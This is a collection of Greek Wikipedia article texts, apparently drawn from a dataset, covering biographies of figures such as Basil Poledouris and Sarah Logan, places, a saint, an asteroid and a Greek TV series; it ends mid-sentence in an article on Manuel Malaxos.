cyanic-selkie/wikianc huggingface dataset:
Βασίλης Πολυδούρης
Βιογραφία
Ο Πολυδούρης έγινε διάσημος χάρη στο δυναμικό, επικό στυλ των ορχηστρικών συνθέσεων του, καθώς και για τα περίπλοκα θεματικά μοτίβα του. Έμεινε στη μνήμη των σινεφίλ για τα μουσικά θέματα που έγραψε για τις ταινίες Η γαλάζια λίμνη (1980), Κόναν ο Βάρβαρος (1982), Κόναν ο Εξολοθρευτής (1984), Red Dawn (1984), RoboCop (1987), Το Κυνήγι του Κόκκινου Οκτώβρη (1990), Ελευθερώστε τον Γουίλι (1993), Στρατιώτες του Σύμπαντος και Στον Έρωτα του Παιχνιδιού (1999). Η μουσική που έγραψε για την ταινία Κόναν ο Βάρβαρος θεωρείται από πολλούς ένα από τα πιο εξαιρετικά δείγματα κινηματογραφικής μουσικής.
Ο Πολυδούρης παντρεύτηκε με τη γυναίκα του Bobbie το 1969 και απέκτησαν δύο κόρες, τη Zoë και την Alexis. Η Zoë είναι ηθοποιός και συνθέτης και έχει περιστασιακά συνεργαστεί με τον πατέρα της στη σύνθεση μουσικής για ταινίες. Τα τελευταία 4 χρόνια της ζωής του τα πέρασε στην πολιτεία της Ουάσιγκτον, και στις 8 Νοεμβρίου του 2006 πέθανε στο Λος Άντζελες από επιπλοκές που του προκάλεσε ο καρκίνος.
Εξωτερικοί σύνδεσμοι
Κατηγορία:Ελληνοαμερικανοί Κατηγορία:Αμερικανοί συνθέτες κλασικής μουσικής Κατηγορία:Αμερικανοί συνθέτες μουσικής ταινιών
Ελ Φάνινγκ
H Ελ Φάνινγκ (Mary Elle Fanning, 9 Απριλίου 1998) είναι Αμερικανίδα ηθοποιός.
Βιογραφία
Γεννήθηκε το 1998 στην πόλη Κόνιερς της Τζόρτζια και είναι η μικρότερη αδερφή της επίσης ηθοποιού Ντακότα Φάνινγκ.
Ξεκίνησε την υποκριτική από την παιδική της ηλικία και έπαιξε στην τηλεόραση και στον κινηματογράφο. Έχει προταθεί για ένα βραβείο Σωματείου Ηθοποιών, ένα βραβείο Satellite, ένα βραβείο Saturn και έξι φορές για το βραβείο Young Artist.
Επίσης, έχει δώσει τη φωνή της σε ταινίες κινουμένων σχεδίων, όπως το ''Ooops! Noah is Gone... και Τα τερατοκουτάκια''.
Παραπομπές
Κατηγορία:Αμερικανίδες ηθοποιοί τηλεόρασης Κατηγορία:Αμερικανίδες ηθοποιοί κινηματογράφου Κατηγορία:Αμερικανίδες ηθοποιοί φωνής
Ύμνος των Αζορών
thumb|[[σημαία των Αζορών]]
Ο Hino dos Açores (Ύμνος των Αζορών) είναι ο επίσημος ύμνος των Αζορών στην Πορτογαλία. Καθιερώθηκε το 1979. Οι στίχοι είναι της Νατάλια Κορέια (Natália Correia) και η μουσική του Τεόφιλο Φραζάο (Teófilo Frazão).
Εξωτερικοί σύνδεσμοι
Κατηγορία:Εθνικοί ύμνοι Κατηγορία:Αζόρες
Αρσινόη (Κρήτη)
Μία από τις αρχαίες πόλεις της Κρήτης ήταν και η Αρσινόη που ήταν το λιμάνι της Λύκτου. Βρισκόταν στα βόρεια παραλία της και κατά πάσα πιθανότητα στο κόλπο των Μαλιών, μεταξύ Μιλάτου και Χερσονήσου. Αν και πολλοί ιστορικοί πίστευαν πως βρίσκεται κοντά στην Ίτανο ή τη σημερινή Ερημούπολη, ο Muller τοποθέτησε την ακριβή τοποθεσίας της στην συγκεκριμένη παραλία της Κρήτης, όπου βρέθηκαν και τα αρχαία ερείπια. Έχουν διασωθεί πολλά νομίσματα της πόλης αυτής από τα οποία 14 δημοσίευσε ο καθηγητής Σβορώνος στο σύγγραμμά του "Νομισματική της Αρχαίας Κρήτης".
Παραπομπές
Κατηγορία:Πόλεις της αρχαίας Κρήτης Κατηγορία:Πτολεμαϊκές αποικίες
Μπουκουρά Ντουμπράβα
Γεννήθηκε στην Μπρατισλάβα και ο πατέρας ήταν ουγγρικής και σλοβακικής καταγωγής, ενώ η μητέρα της άνηκε στο γερμανικό έθνος. Περισσότερο η Μπουκουρά, έλαβε τον γερμανικό πολιτισμό και θεωρούσε τον εαυτό της Γερμανίδα. Κατά την παιδική της ηλικία, μετακόμισε αρκετές φορές σε διάφορα μέρη της Αυστροουγγαρίας, ενώ σε ηλικία 4 ετών, επισκέφθηκε και τη Βιέννη. Όταν πια ήταν στην ηλικία των 5, η οικογένεια της μετακόμισε στο Βασίλειο της Ρουμανίας, ως φίλοι του Καρόλου Α΄. Μερικοί ιστορικοί λένε ότι ο πατέρας της εκεί, εργάστηκε σε ένα Μουσονικό Οίκημα, το zur Brüderlichkeit. Η βασιλική οικογένεια γρήγορα κατάλαβε την αγάπη της Μπουκουρά για τη μουσική, τη λογοτεχνία και τη ρουμανική γλώσσα. Το 1884, η Βασίλισσα την συνέστησε στην υψηλή κοινωνία.
Η Φαννύ έγινε, αργότερα, φιλάνθρωπος και ακτιβίστρια, βοηθώντας φτωχά παιδιά να πάνε σχολείο τις Κυριακές. Το πρώτο της έργο κυκλοφόρησε το 1908 και είχε τον τίτλο Der Haiduck. Εξ αιτίας του ψευδωνύμου, πολλοί υπέθεταν ότι πρόκειται για μία λογοτεχνική προσπάθεια της Βασίλισσας. Όταν το 1912, το έργο κυκλοφόρησε ξανά, το προλόγησε η Βασίλισσα, με το ψευδώνυμο Carmen Sylva. Το 1913, έπαιξε στο κάστρο Πέλε, πιάνο, συνοδεύοντας τον σπουδαίο Ρουμάνο βιολονίστα Τζόρτζε Ενέσκου. Η φιλία της με τη Βασίλισσα συνεχίστηκε και πολλές φορές κάνανε πεζοπορίες στα Καρπάθια Όρη. Τα τελευταία χρόνια της ζωής της άρχισε να καταπιάνεται με τον θεοσοφισμό. Σε ένα ταξίδι της στην Αίγυπτο, κόλλησε μαλάρια και απεβίωσε λίγο αργότερα. Για λόγο άγνωστο, το σώμα της αποτεφρώθηκε και οι στάχτες της στάλθηκαν πίσω στη Ρουμανία, μέσα σε αιγυπτιακό βάζο.
Παραπομπές
<References/>
Μαρία της Βρετάνης, υποκόμισσα του Ροάν
Η Μαρία, γαλλ. Marie (1444 - 1506) από τον Οίκο του Ντρε-Μονφόρ ήταν κόρη του δούκα της Βρετάνης και με τον γάμο της έγινε υποκόμισσα του Ροάν.
Βιογραφία
Ήταν η δεύτερη κόρη του Φραγκίσκου Α΄ δούκα της Βρετάνης και της Ισαβέλλας των Στιούαρτ, κόρης του Ιακώβου Α΄ της Σκωτίας.
Παντρεύτηκε τον Ιωάννη Β΄ υποκόμη του Ροάν, γιο του Αλαίν Θ΄ του Ροάν (απεβ. 1462) και της Μαρίας της Λωρραίνης-Βωντεμόν (απεβ. 1455).
Οικογένεια
Παντρεύτηκε το 1462 τον Ιωάννη Β΄ υποκόμη του Ροάν και κόμη του Λεόν & Πορουέτ και είχε τέκνα:
Πηγές
Κατηγορία:Οίκος του Ντρε Κατηγορία:Οίκος του Ροάν
Άγιος Ευθύμιος ο Μέγας
Ο Άγιος Ευθύμιος ο Μέγας (377 – 20 Ιανουαρίου 473) (στην επίσημη αγιολογία Όσιος Ευθύμιος ο Μέγας) ήταν αββάς στην περιοχή της Παλαιστίνης, και τιμάται ως άγιος και στην Ρωμαιοκαθολική και στην Ανατολική Ορθόδοξη Εκκλησία.
Βίος
Ο Ευθύμιος γεννήθηκε στη Μελιτηνή της Μικράς Αρμενίας. Σύμφωνα με τη Χριστιανική παράδοση, οι γονείς του Παύλος και Διονυσία που ήταν άτεκνοι, είχαν παρακαλέσει για να αποκτήσουν ένα γιο στην εκκλησία του Άγιου Πολύευκτου στην Μελιτηνή, και έδωσαν σ’ αυτόν το όνομα Ευθύμιο από τη μεγάλη χαρά και αγαλλίαση που προκάλεσε η εκπλήρωση των προσευχών τους.
Ο Ευθύμιος έλαβε μόρφωση από τον Επίσκοπο Μελιτηνή Ευτρώιο, ο οποίος αργότερα και τον χειροτόνησε και τον τοποθέτησε υπεύθυνο όλων των μοναστηριών στην Επισκοπή της Μελιτηνής. Περίπου 30 χρονών ξεκίνησε κρυφά για προσκύνημα στην Ιερουσαλήμ και παρέμεινε για κάποιο καιρό σε ένα σπήλαιο κοντά σε στη λαύρα Φαράν όπου διαβιούσαν μοναχοί, περίπου 10 χιλιόμετρα ανατολικά της Ιερουσαλήμ.
Το 411 ο Ευθύμιος αποσύρθηκε στην ερημιά με τον επίσης ερημίτη Άγιο Θεόκτιστο, ζώντας σε ένα σπήλαιο στις πλαγιές ενός χειμάρρου. Όταν μαζεύτηκαν γύρω του πολλοί, μετέτρεψαν το σπήλαιο σε εκκλησία και έχτισαν μοναστήρι ηγούμενος του οποίου έγινε ο Άγιος Θεόκτιστος. Ο Ευθύμιος παρόλο που διατήρησε την απομόνωσή του, έδινε οδηγίες στους άλλους. .
Μια θαυματουργή θεραπεία που πιστευόταν ότι επιτέλεσε ο Ευθύμιος έκανε γνωστή τη φήμη του πέρα από τα όρια της Παλαιστίνης, και μεγάλα πλήθη έρχονταν να τον επισκεφτούν στην απομόνωσή του, αποσύρθηκε με τον μαθητή του Δομιτιανό στην ερημιά τις Ρούμπα, κοντά στη Νεκρά Θάλασσα, ζώντας για κάποιο καιρό σε ένα βουνό, και αποσυρόμενος κατόπιν στην έρημο.
Όταν τον ακολούθησαν και εκεί μεγάλα πλήθη, επέστρεψε στην περιοχή της μονής του Θεόκτιστου, όπου κατοίκησε σε σπήλαιο. Κάθε Κυριακή ερχόταν στο μοναστήρι για να λάβει μέρος στη Θεία Λειτουργία. Καθώς πολλοί μαθητές των ήθελαν πνευματικό τους, το 420 ίδρυσε μία λαύρα παρόμοια με εκείνη του Φαράν, στη δεξιά πλευρά του δρόμου από την Ιερουσαλήμ στην Ιεριχώ. Η εκκλησία που συνδέθηκε με αυτή τη λαύρα αφιερώθηκε το 428 από τον Ιουβενάλιο, πρώτο Ελληνορθόδοξο Πατριάρχη Ιεροσολύμων.
Όταν η Τέταρτη Οικουμενική Σύνοδος (451) καταδίκασε τα λάθη των Ευτύχιου και Διόσκορου, ήταν κυρίως χάρη στο σεβασμό και την αυθεντία του Ευθύμιου το γεγονός ότι η περισσότεροι Ανατολικοί αναχωρητές αποδέχτηκαν τις αποφάσεις της, όπως και χάρη στην αγιότητα και το βίο του πολλοί αιρετικοί Μανιχαίοι, Νεστοριανοί και Ευτυχιανοί να επιστρέψουν στα δόγματα της Ορθόδοξης πίστης. Μεταξύ αυτών και η Αυτοκράτειρα Αιλία Ευδοκία, η οποία μεταστράφηκε στην ορθόδοξη πίστη από την πιεστικότητα και τις προσπάθειες του Αγίου
Ιερά Λείψανα
Αποτμήματα του Ιερού Λειψάνου του Αγίου Ευθυμίου φυλάσσονται:
Στο Άγιον Όρος: Ιερά Μονή Μεγίστης Λαύρας και Ιερά Μονή Ιβήρων
Στην Ιερά Μονή Μεγάλου Σπηλαίου Καλαβρύτων.
Στην Ιερά Μονή Κύκκου Κύπρου.
Στην Λαύρα του Αγίου Αλεξάνδρου Νέβσκι Αγίας Πετρουπόλεως.
Μνήμη
Η Εκκλησία τιμά τη μνήμη του στις 20 Ιανουαρίου (2 Φεβρουαρίου στο Παλαιό Ημερολόγιο), την ημέρα του θανάτου του.
Απολυτίκιο
''«Εὐφραίνου ἔρημος ἡ σὺ τίκτουσα, εὐθύμησον ἡ οὐκ ὠδίνουσα· ὅτι ἐπλήθυνέ σοι τέκνα, ἀνήρ ἐπιθυμιῶν τῶν τοῦ Πνεύματος, εὐσεβείᾳ φυτεύσας, ἐγκρατείᾳ ἐκθρέψας, εἰς ἀρετῶν τελειότητα. Ταῖς αὐτοῦ ἱκεσίαις, Χριστέ ὁ Θεός, εἰρήνευσον τήν ζωήν ἡμῶν».''
Εξωτερικοί σύνδεσμοι
Ευθυμιος Κατηγορία:Χριστιανοί άγιοι του 5ου αιώνα
Αρχαιολογικό Μουσείο Κοζάνης
Το Αρχαιολογικό Μουσείο της Κοζάνης είναι μουσείο στην Κοζάνη, Ελλάδα.
Εξωτερικοί σύνδεσμοι
Κοζανη Κατηγορία:Κοζάνη
Τάχτα
Η Τάχτα (αραβικά : طهطا) είναι πόλη της Αιγύπτου στο Κυβερνείο Σοχάγκ. Βρίσκεται στη δυτική όχθη του Νείλου, 35 χλμ βόρεια της Σοχάγκ και 60 χλμ νότια της Ασιούτ. Ο πληθυσμός της πόλης των 85.528 άτομα ( 2006 ). Η πόλη είναι γνωστή για τη βιομηχανία επίπλων. Σύμφωνα με το μύθο, η πόλη πήρε το όνομά της από μία αρχαία αιγυπτιακή πριγκίπισσα.
Παραπομπές
Κατηγορία:Πόλεις της Αιγύπτου
823 Σισύγαμβις
Η Σισύγαμβις (Sisigambis) είναι ένας αστεροειδής που περιφέρεται στην εσωτερική περιοχή της Κύριας Ζώνης Αστεροειδών και έχει απόλυτο μέγεθος (όπως ορίζεται για το Ηλιακό Σύστημα) 11,003. Ανακαλύφθηκε το 1916 από τον Γερμανό αστρονόμο Μαξ Βολφ, που παρατηρούσε από τη Χαϊδελβέργη, και πήρε το όνομά της από το όνομα της μητέρας του Πέρση βασιλιά Δαρείου Γ΄.
Η Σισίγαμβις ανήκει στην Οικογένεια αστεροειδών της Χλωρίδος.
Φυσικά χαρακτηριστικά
Η μέση διάμετρος της Σισίγαμβης εκτιμάται σε 16,62 χιλιόμετρα. Ο φασματικός τύπος της είναι άγνωστος, ενώ το άλβεδό της είναι 0,179. Η Σισίγαμβις περιστρέφεται γύρω από τον εαυτό της με περίοδο περιστροφής μεγαλύτερη από 12 ώρες.
Εξωτερικοί σύνδεσμοι
Σισιγαμβις
Δικαίωση
Πλοκή
Μια μεγάλη ιστορία αγάπης που γεννιέται ανάμεσα σε δυο μικρά παιδιά στη Σύρο. Μια οικογενειακή βεντέτα κι επικίνδυνα μυστικά από το παρελθόν μπαίνουν ανάμεσα τους. Μια νέα κοπέλα που αναζητάει τη δική της δικαίωση για τη ζωή που της έκλεψαν και τη μητέρα που την απαρνήθηκε. Μια αδίστακτη γυναίκα, μεγάλη ντίβα του θεάτρου, που θα κάνει τα πάντα για να δικαιωθούν οι φιλοδοξίες της. Άνθρωποι διαφορετικοί φαινομενικά μεταξύ τους που οι ζωές τους διασταυρώνονται με ένα μοναδικό σκοπό: τη δικαίωση τους.
Η ιστορία ξεκινάει όταν η Τζίνα, μια σύγχρονη νεαρή κοπέλα, μαθαίνει τη περιπετειώδη ζωή του πατέρα της και ταυτόχρονα τη σχέση της με την κραταιά οικογένεια Βαρνέζη, μια σχέση που αυτή ως τώρα αγνοούσε.
Όλα είχαν ξεκινήσει το 1992, όταν ο Μενέλαος Βαρνέζης -απόγονος γνωστής οικογένειας καπεταναίων και νυν πολιτικός- φτάνει στη πανέμορφη Σύρο. Μαζί του έρχεται η σύζυγος του, Βάλια και η εξάχρονη κόρη τους, Μυρτώ. Για πολλούς, ο Μενέλαος θεωρείται ευεργέτης του τόπου, κάποιοι άλλοι όμως θεωρούν αυτόν και την οικογένεια του υπεύθυνους για ένα τραγικό ναυάγιο πριν από χρόνια. Η Βάλια είναι μεγάλη ντίβα του θεάτρου, η οποία χρησιμοποιεί την ακαταμάχητη γοητεία της προκειμένου να πετύχει τους στόχους της. Ο Λευτέρης Ρήγας είναι ο μεγαλύτερος εχθρός του Μενέλαου και έχει ορκιστεί να εκδικηθεί τον χαμό των δικών του με κάθε κόστος, αλλά δεν μπορεί να ξεφύγει κι αυτός από το καταστροφικό του πάθος για τη κομψή και απόμακρη Βάλια. Η γυναίκα του η Ερμιόνη διαισθάνεται ότι τα αισθήματα που τρέφει ο άντρας της είναι πολύ βαθιά και επικίνδυνα, αλλά η ίδια -έρμαιο του βίαιου χαρακτήρα του- είναι αδύναμη να εμποδίσει τη καταστροφική έκβαση των πραγμάτων. Μέσα σ’ αυτή τη ζοφερή εικόνα που δημιουργεί η μισαλλοδοξία και οι σκοτεινοί στόχοι των ενηλίκων, η φιλία της μικρής Μυρτούς με τον συνομήλικο γιο του Λευτέρη, τον Χρήστο, είναι η μόνη ελπίδα για να ξεπεραστούν οι έχθρες του παρελθόντος. Ένα τραγικό γεγονός θα δώσει όμως τέλος στην όμορφη αυτή φιλία και τα παιδιά θα χωρίσουν...
19 χρόνια μετά, η Μυρτώ και ο Χρήστος θα βρεθούν συμφοιτητές στα έδρανα της Νομικής. Η ζωή θα τους φέρει άλλοτε συμμάχους κι άλλοτε αντιπάλους στον στίβο της πολιτικής. Ο Θησέας, καθηγητής τους στη σχολή -άνθρωπος γοητευτικός αλλά διφορούμενος- θα παίξει έναν καθοριστικό και αμφίσημο ρόλο στις ζωές και των δύο. Το μίσος που χωρίζει τις δύο οικογένειες, οι ίντριγκες των κοντινών τους ανθρώπων, και ο πολιτικός ανταγωνισμός που δημιουργεί ανίερες συμμαχίες μπαίνουν συνέχεια ανάμεσα τους. Θα είναι ο έρωτας τους αρκετά δυνατός για να ξεπεράσει τα εμπόδια; Ποια θα είναι τα θύματα στη πορεία της Τζίνας για δικαίωση όταν μάθει την αληθινή της ταυτότητα, αυτή που της στέρησαν τόσα χρόνια; Ποιες θα είναι οι σαρωτικές ανατροπές που θα φέρει ο ερχομός στο προσκήνιο του σκοτεινού επιχειρηματία Ανδρέου, ενός άνδρα γοητευτικού αλλά και επικίνδυνου;
Εξωτερικοί σύνδεσμοι
Κατηγορία:Τηλεοπτικές σειρές Mega Κατηγορία:Ελληνικές δραματικές τηλεοπτικές σειρές
Σάρα Λόγκαν
Η Σάρα Λόγκαν (αγγλικά: Sarah Logan) (γενν. 10 Σεπτεμβρίου 1993) είναι Αμερικανίδα επαγγελματίας παλαίστρια, περισσότερο γνωστή για την αγωνιστική συμμετοχή της στο WWE. Από το 2017 έως το 2020, ήταν μέλος του σταθερού The Riott Squad με τη Λιβ Μόργκαν και τη Ρούμπι Σόχο.
Πρώιμες εμφανίσεις (2014–2017)
Η Λόγκαν εμφανίστηκε κατά τη διάρκεια ενός τμήματος στο επεισόδιο της 1ης Σεπτεμβρίου 2014 του Raw ως makeup artist για τον Μιζ Στις 17 Νοεμβρίου, η Bridges έκανε το ντεμπούτο της στο NXT στο WrestleMania 33 Ticket Party, νικώντας τη Λέισι Έβανς. Στις 11 Ιανουαρίου 2017, επεισόδιο του NXT, η Μπρίτζες έκανε την πρώτη της τηλεοπτική εμφάνιση με το πραγματικό της όνομα, συνεργαζόμενος με τον Μέισι Έβανς σε μια ήττα με το The Iconic Duo (Μπίλι Κέι και Πέιτον Ρόις) σε έναν αγώνα με tag team.
Αφού απουσίασε από τον διαγωνισμό NXT in-ring, η Λόκγαν επέστρεψε στο επεισόδιο του NXT στις 23 Αυγούστου, όπου ηττήθηκε από τον Ρόις. Στο επεισόδιο του NXT της 25ης Οκτωβρίου, η Logan συμμετείχε σε ένα battle royal για να κερδίσει μια θέση στον μοιραίο αγώνα κατς για το κενό πρωτάθλημα γυναικών NXT στο NXT TakeOver: WarGames, στο οποίο δεν είχε επιτυχία και αποδείχθηκε ότι ήταν η τελευταία της εμφάνιση ζωντανής μετάδοσης στο NXT.
Στις 16 Ιουνίου 2017, η Λόγκαν ανακοινώθηκε ως ένας από τους τέσσερις πρώτους συμμετέχοντες που διαγωνίστηκαν στο Mae Young Classic. Στις 28 Αυγούστου, ο Logan αποκλείστηκε στον πρώτο γύρο από τη Μία Γιμ. Στις 11 Σεπτεμβρίου, παρά το γεγονός ότι αποκλείστηκε από το τουρνουά, ο Λόγκαν συνεργάστηκε με άλλους αποκλεισμένους ανταγωνιστές σε μια ομάδα έξι γυναικών, μεταξύ των οποίων η Σαντάνα Γκάρετ και η Μάρτι Μπέλλ, ηττήθηκαν από την Τέσα Μπλαντσάρντ, την Κέι Λι Ρέι και την Jazzy Gabert.
The Riott Squad (2017–2019)
αριστερά|μικρογραφία| Η Λόγκαν (δεξιά) μαζί με τα άλλα μέλη του The Riott Squad Ruby Riott (κέντρο) και τη [[Λιβ Μόργκαν (αριστερά) στο WrestleMania 34]] Στο επεισόδιο του SmackDown στις 21 Νοεμβρίου 2017, η Logan έκανε το ντεμπούτο της, μαζί με τη Ruby Riott και τη Liv Morgan, επιτιθέμενος τόσο στην Becky Lynch όσο και στη Naomi. Το ίδιο βράδυ, διέκοψαν έναν αγώνα μεταξύ της πρωταθλήτριας γυναικών του SmackDown, Charlotte Flair και της Natalya και επιτέθηκαν και στους δύο. Την επόμενη εβδομάδα στο SmackDown, η τριάδα, που τώρα ονομάζεται The Riott Squad, έκανε το ντεμπούτο της στο ρινγκ για τη μάρκα, νικώντας τους Flair, Natalya και Naomi σε έναν αγώνα με έξι γυναίκες.
Τους επόμενους μήνες, το The Riott Squad συνέχισε να ανταγωνίζεται τους Flair και Naomi. Στο επεισόδιο του SmackDown στις 19 Δεκεμβρίου, ο Logan και ο Riott έχασαν από τον Flair και τη Naomi. Στο επεισόδιο του SmackDown στις 16 Ιανουαρίου, το The Riott Squad νίκησε τους Flair, Naomi και Becky Lynch. Στη συνέχεια, ο Logan συμμετείχε στον πρώτο αγώνα Royal Rumble γυναικών στο Royal Rumble pay-per-view ως τρίτος συμμετέχων, αλλά αποκλείστηκε από τη Molly Holly.
Κατά τη διάρκεια του Superstar Shake-Up του 2018, το The Riott Squad επιστρατεύτηκε στο Raw και έκανε τον αγώνα μεταξύ Bayley και Σάσα Μπανκς να τελειώσει χωρίς διαγωνισμό. Κατά τη διάρκεια του επεισοδίου του Raw στις 16 Ιουλίου, η Σάρα κέρδισε την πρώτη της νίκη σε σινγκλ στο WWE με νίκη επί του Ember Moon. Η Λόγκαν έκανε επίσης το ντεμπούτο του σε ένα νέο τέχνασμα εμπνευσμένο από τους Βίκινγκς, φορώντας πολεμική μπογιά και η ομάδα σχολίων έκανε αρκετές αναφορές στην «ανακάλυψη της κληρονομιάς της από τους Βίκινγκς». Στις 17 Φεβρουαρίου 2019, η Λόγκαν και ο Morgan αγωνίστηκαν σε έναν αγώνα Elimination Chamber έξι ομάδων για το εναρκτήριο πρωτάθλημα WWE Women's Tag Team, στο ομώνυμο pay-per-view, όπου ήταν η τρίτη ομάδα που αποκλείστηκε από τη Nia Jax και την Tamina αλλά τελικοί νικητές ήταν οι Sasha Banks και Bayley. Η Λόγκαν αγωνίστηκε στο WrestleMania 35 σε έναν αγώνα μάχης γυναικών για να αποφασίσει τον νικητή ενός τροπαίου, αλλά αφού υπέθεσε ότι είχε κερδίσει, η Καρμέλα την απέκλεισε την τελευταία στιγμή.
Διαγωνισμός ατομικού και παύση (2019–2020)
Στις 16 Απριλίου, ως μέρος του WWE Superstar Shake-up 2019, η Liv Morgan μεταφέρθηκε στο SmackDown, τερματίζοντας ουσιαστικά το The Riott Squad. Η Λόγκαν θα μεταβαλλόταν σε σινγκλ διαγωνιζόμενος, δημιουργώντας το ντεμπούτο του με μια νέα εμφάνιση και ένα νέο θέμα εισόδου, ενώ θα ξεκινούσε επίσης μια κόντρα με τη Dana Brooke στο Main Event, όπου αντάλλαξαν νίκες μεταξύ τους. Στο Survivor Series στις 24 Νοεμβρίου, η Λόγκαν ήταν μέρος της Team Raw και συμμετείχε στον αγώνα αποκλεισμού τριπλής απειλής γυναικών εναντίον των Team SmackDown και Team NXT, όπου αποκλείστηκε από την Bianca Belair. Στο επεισόδιο του Raw στις 6 Ιανουαρίου, ο Λόγκαν ξεκίνησε μια κόντρα με τη Σάρλοτ Φλερ αφού της επιτέθηκε πριν τον αγώνα τους και πάτησε τη ρόμπα της. Την επόμενη εβδομάδα, η Λόγκαν ηττήθηκε από τον Φλερ ενώ δήλωσε επίσης συμμετοχή στον αγώνα Royal Rumble γυναικών. Στο event, μπήκε στον αγώνα Royal Rumble στο νούμερο 22, αλλά αποκλείστηκε σε λιγότερο από 30 δευτερόλεπτα από τον Flair. Στο επεισόδιο του Raw στις 10 Φεβρουαρίου, ο Logan έχασε από τη Rhea Ripley σε έναν αγώνα σκουός.
Η Λόγκαν θα ήταν τότε ο φιλοξενούμενος διαιτητής κατά τη διάρκεια του αγώνα της Λιβ Μόργκαν εναντίον της Ρούμπι Ράιοτ, όπου βοήθησε τη Μόργκαν να κερδίσει μετρώντας γρήγορα τη Ράιοτ. Μετά το ματς, η Λόγκαν θα επιτεθεί στον Μόργκαν. Η Λόγκαν ανακοινώθηκε ως μέρος του αγώνα Elimination Chamber εναντίον των Morgan, Riott, Natalya, Shayna Baszler και των μισών πρωταθλητών WWE Women's Tag Team Asuka για μια ευκαιρία στο WWE Raw Women's Championship της Becky Lynch στο WrestleMania 36. Στο ομώνυμο pay–per–view, ήταν η τρίτη συμμετέχουσα, αλλά η πρώτη που αποκλείστηκε από τον Baszler, ο οποίος ήταν ο τελικός νικητής, κερδίζοντας μια ευκαιρία στον τίτλο Raw γυναικών και σημειώνοντας ρεκόρ αποκλείοντας κάθε άλλη γυναίκα, ήταν ουσιαστικά ένας αγώνας σκουός. Στις 13 Απριλίου 2020, η έκδοση του Raw, ο Logan έχασε για άλλη μια φορά από τον Baszler σε έναν προκριματικό αγώνα Women's Money in the Bank με απόφαση του διαιτητή αφού ο Baszler πάτησε το χέρι της Λόγκαν. Στις 15 Απριλίου 2020, η Rowe απελευθερώθηκε από το συμβόλαιό της με το WWE ως αποτέλεσμα περικοπών στον προϋπολογισμό λόγω της πανδημίας COVID-19.
Στις 22 Ιουνίου 2020, η Λόκγαν ανακοίνωσε ότι θα αποχωρούσε από την επαγγελματική πάλη «για το άμεσο μέλλον».
Επιστροφή στο WWE (2022)
Στις 29 Ιανουαρίου 2022, η Logan έκανε μια αιφνιδιαστική επιστροφή στο WWE στο Royal Rumble, μπαίνοντας στον αγώνα στο νούμερο 25, επανενώθηκε για λίγο με τον Morgan και κράτησε μόνο 43 δευτερόλεπτα μέχρι να αποκλειστεί από τους The Bella Twins (Νίκι και Μπρι Μπέλα). Τον Νοέμβριο θα επιστρέψει με το όνομα Valhalla ως μέρος των Viking Raiders.
Control Your Narrative (2022)
Στο CYN The Awakening: Detroit στις 14 Μαΐου 2022, η Λόγκαν νίκησε την Amber O'Neal στον πρώτο της αγώνα.
Άλλα μέσα
Η Λόγκαν έκανε το ντεμπούτο της στο βιντεοπαιχνίδι στο WWE ως χαρακτήρας που μπορεί να παίξει στο WWE 2K19. Εμφανίζεται επίσης στο WWE 2K20.
Προσωπική ζωή
Στις 29 Μαρτίου 2011, η Λόγκαν ενεπλάκη σε τροχαίο ατύχημα όταν ένα τρένο CSX χτύπησε το λευκό Chevy coupe της στη διαδρομή 62 στο Charlestown της Ιντιάνα. Μεταφέρθηκε με ελικόπτερο στο νοσοκομείο στο Λούισβιλ.
Κατά τη διάρκεια της θητείας της στο WWE, η Λόγκαν άρχισε να βγαίνει με τον συνάδελφό της παλαιστή Raymond Rowe (ο οποίος αγωνίζεται με το όνομα ρινγκ "Erik" ως μέλος της ομάδας ετικετών The Viking Raiders). Το ζευγάρι παντρεύτηκε στις 21 Δεκεμβρίου 2018, σε έναν γάμο με θέμα τους Βίκινγκς. Στις 9 Φεβρουαρίου 2021, η Λόγκαν και ο Rowe καλωσόρισαν έναν γιο που ονομαζόταν Raymond Cash Rowe.
Παραπομπές
Κατηγορία:Αμερικανίδες επαγγελματίες παλαιστές
Μανουήλ Μαλαξός
Ο Μανουήλ Μαλαξός ήταν Έλληνας λόγιος, χρονογράφος, ιστορικός, εκδότης και συγγραφέας νομοκανονικών και ιστορικών έργων του 16ου αιώνα.
Βιογραφικά στοιχεία
Γεννήθηκε στο Ναύπλιο(-Κωνσταντινούπολη 1581), χωρίς όμως να έχουμε περαιτέρω πληροφορίες για το πρώιμο στάδιο της ζωής του. Πατέρας του ήταν ο ιερέας και οικονόμος της μητρόπολης Ναυπλίου και Άργους Δημήτριος Μαλαξός. Πιθανόν αδελφός του να ήταν ο επίσης λόγιος Νικόλαος(†1584). Έδρασε το β´ μισό του 16ου αιώνα στο Ναύπλιο μέχρι τη κατάληψη του από τους Τούρκους(1539). Γύρω στο 1555 τον εντοπίζουμε στη Βενετία, όπου ασχολείται με εκδοτικές και τυπογραφικές εργασίες. Οι επιχειρήσεις του όμως φαίνεται δεν πήγαν καλά κι επέστρεψε στην Ελλάδα. Το 1561 ήταν ήδη νοτάριος της μητρόπολης Θηβών της Βοιωτίας. Το 1577 εγαταστάθηκε στην Κωνσταντινούπολη όπου φυτοζωούσε διδάσκοντας μικρό κύκλο μαθητών και αντιγράφοντας χειρόγραφα. Εκεί πέθανε το 1581.
Έργο
Ο Μανουήλ Μαλαξός μας άφησε δύο σπουδαία έργα: το Νομοκανών και τη Πατριαρχική Κωνσταντινουπόλεως Ἱστορία (1584). Το πρώτο γράφτηκε στη Θήβα το 1561 και αποτελεί ένα απάνθισμα ιερών κανόνων και πολιτικών νόμων από παλαιότερα νομοκανόνικά κείμενα (από την Εκλογή των Ισαύρων έως τον Αρμενόπουλο. Το δεύτερο αποτελεί συμπίλημα αγνώστων σήμερα ιστορικών πηγών, το οποίο έγραψε κατά παραγγελία του Γερμανού ελληνιστή Μαρτίνου Κρούσιου. Σε ακατέργαστη δημοτική γλώσσα αφηγείται τα ιστορικά του πατριαρχείου από την Άλωση έως το 1578. Το έργο αυτό έχει στενή σχέση με το λεγόμενο Χρονικό του 1570 και τον Χρονογράφο του Δωροθέου Μονεμβασίας. Το ενδιαφέρον είναι ότι ο Μανουήλ Μαλαξός χρησιμοποίησε κι άγνωστες μέχρι σήμερα πηγές. Ο Νομοκανόνας γράφτηκε αρχικά σε λόγια γλώσσα-και με αυτή τη μορφή είναι γνωστό μόνο από τέσσερεις κώδικες-αργότερα όμως ο Μανουήλ Μαλαξός έκανε μία παράφραση του έργου στη δημοτική, που σώζεται μέχρι σήμερα σε περισσότερα από τριακόσια χειρόγραφα (με μικρές ή μεγάλες προσθαφαιρέσεις). Εξ'αιτίας ακριβώς του 